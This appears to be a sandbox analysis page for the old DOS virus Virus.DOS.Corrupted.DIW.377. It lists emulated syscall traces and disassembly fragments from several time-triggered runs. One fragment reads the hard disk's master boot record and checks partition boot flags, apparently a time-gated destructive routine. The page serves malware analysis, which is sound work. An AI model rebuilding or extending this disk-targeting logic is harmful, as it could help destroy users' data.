Sample viewer

vx.netlux.org/Virus.DOS.Corrupted.DIW.377

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:55:21.252782278Z 47 PC: 12a66 | Get disk transfer address
2018-12-17T22:55:21.255556897Z 26 PC: 12a74 | Set disk transfer address
2018-12-17T22:55:21.257150274Z 78 PC: 12b00 | Find first file
2018-12-17T22:55:21.263905719Z 78 PC: 12b43 | Find first file
2018-12-17T22:55:21.270541329Z 44 PC: 12b63 | Get time 0x12b63: cmp ch, 0xf
0x12b66: jl 0x12b9c
0x12b68: mov bx, di
0x12b6a: add bx, 0x179
0x12b6e: mov ah, 2
0x12b70: mov al, 1
0x12b72: mov dh, 0
0x12b74: mov dl, 0x80
0x12b76: mov cl, 1
0x12b78: mov ch, 0
0x12b7a: int 0x13
0x12b7c: mov si, bx
0x12b7e: add si, 0x1be
0x12b82: mov ah, byte ptr es:[si]
0x12b85: cmp ah, 0x80
0x12b88: jne 0x12b8d
0x12b8a: call 0x12b9d
0x12b8d: mov ah, byte ptr es:[si + 0x10]
0x12b91: cmp ah, 0x80
0x12b94: jne 0x12b9c
2018-12-17T22:55:21.274149736Z 26 PC: 12a89 | Set disk transfer address
2018-12-17T22:55:21.275623308Z 47 PC: 12a66 | Get disk transfer address
2018-12-17T22:55:21.276899148Z 26 PC: 12a74 | Set disk transfer address
2018-12-17T22:55:21.279322906Z 78 PC: 12b00 | Find first file
2018-12-17T22:55:21.284467673Z 78 PC: 12b43 | Find first file
2018-12-17T22:55:21.29094743Z 44 PC: 12b63 | Get time 0x12b63: cmp ch, 0x44
0x12b66: dec di
0x12b67: push bx
0x12b68: add byte ptr [bx + si + 0x52], dl
0x12b6b: dec di
0x12b6c: dec bp
0x12b6d: push ax
0x12b6e: push sp
0x12b6f: cmp ax, 0x5024
0x12b72: and al, 0x47
0x12b74: add byte ptr [bp + di + 0x4f], al
0x12b77: dec bp
0x12b78: push bx
0x12b79: push ax
0x12b7a: inc bp
0x12b7b: inc bx
0x12b7c: cmp ax, 0x3a43
0x12b7f: pop sp
0x12b80: inc bx
0x12b81: dec di

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":0,"Min":0,"Second":0,"TimeBased":true,"OriginalID":11865,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:31:27.001155857Z 47 PC: 12a66 | Get disk transfer address
2018-12-25T12:31:27.006400568Z 26 PC: 12a74 | Set disk transfer address
2018-12-25T12:31:27.007753602Z 78 PC: 12b00 | Find first file
2018-12-25T12:31:27.013749286Z 78 PC: 12b43 | Find first file
2018-12-25T12:31:27.020039695Z 44 PC: 12b63 | Get time 0x12b63: cmp ch, 0xf
0x12b66: jl 0x12b9c
0x12b68: mov bx, di
0x12b6a: add bx, 0x179
0x12b6e: mov ah, 2
0x12b70: mov al, 1
0x12b72: mov dh, 0
0x12b74: mov dl, 0x80
0x12b76: mov cl, 1
0x12b78: mov ch, 0
0x12b7a: int 0x13
0x12b7c: mov si, bx
0x12b7e: add si, 0x1be
0x12b82: mov ah, byte ptr es:[si]
0x12b85: cmp ah, 0x80
0x12b88: jne 0x12b8d
0x12b8a: call 0x12b9d
0x12b8d: mov ah, byte ptr es:[si + 0x10]
0x12b91: cmp ah, 0x80
0x12b94: jne 0x12b9c
2018-12-25T12:31:27.022165311Z 26 PC: 12a89 | Set disk transfer address
2018-12-25T12:31:27.023287489Z 47 PC: 12a66 | Get disk transfer address (See above)
2018-12-25T12:31:27.025914915Z 26 PC: 12a74 | Set disk transfer address (See above)
2018-12-25T12:31:27.030488461Z 78 PC: 12b00 | Find first file (See above)
2018-12-25T12:31:27.035231336Z 78 PC: 12b43 | Find first file (See above)
2018-12-25T12:31:27.041193769Z 44 PC: 12b63 | Get time (See above)

{"DateBased":false,"Day":0,"Month":0,"Year":0,"Hour":15,"Min":0,"Second":0,"TimeBased":true,"OriginalID":11865,"SideJobID":0}

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:31:27.049812071Z 47 PC: 12a66 | Get disk transfer address
2018-12-25T12:31:27.052038171Z 26 PC: 12a74 | Set disk transfer address
2018-12-25T12:31:27.053333831Z 78 PC: 12b00 | Find first file
2018-12-25T12:31:27.060944164Z 78 PC: 12b43 | Find first file
2018-12-25T12:31:27.067773072Z 44 PC: 12b63 | Get time 0x12b63: cmp ch, 0xf
0x12b66: jl 0x12b9c
0x12b68: mov bx, di
0x12b6a: add bx, 0x179
0x12b6e: mov ah, 2
0x12b70: mov al, 1
0x12b72: mov dh, 0
0x12b74: mov dl, 0x80
0x12b76: mov cl, 1
0x12b78: mov ch, 0
0x12b7a: int 0x13
0x12b7c: mov si, bx
0x12b7e: add si, 0x1be
0x12b82: mov ah, byte ptr es:[si]
0x12b85: cmp ah, 0x80
0x12b88: jne 0x12b8d
0x12b8a: call 0x12b9d
0x12b8d: mov ah, byte ptr es:[si + 0x10]
0x12b91: cmp ah, 0x80
0x12b94: jne 0x12b9c
2018-12-25T12:31:27.077438625Z 26 PC: 12a89 | Set disk transfer address
2018-12-25T12:31:27.079246135Z 47 PC: 12a66 | Get disk transfer address (See above)
2018-12-25T12:31:27.080926921Z 26 PC: 12a74 | Set disk transfer address (See above)
2018-12-25T12:31:27.083598045Z 78 PC: 12b00 | Find first file (See above)
2018-12-25T12:31:27.088885031Z 78 PC: 12b43 | Find first file (See above)
2018-12-25T12:31:27.096197721Z 44 PC: 12b63 | Get time (See above)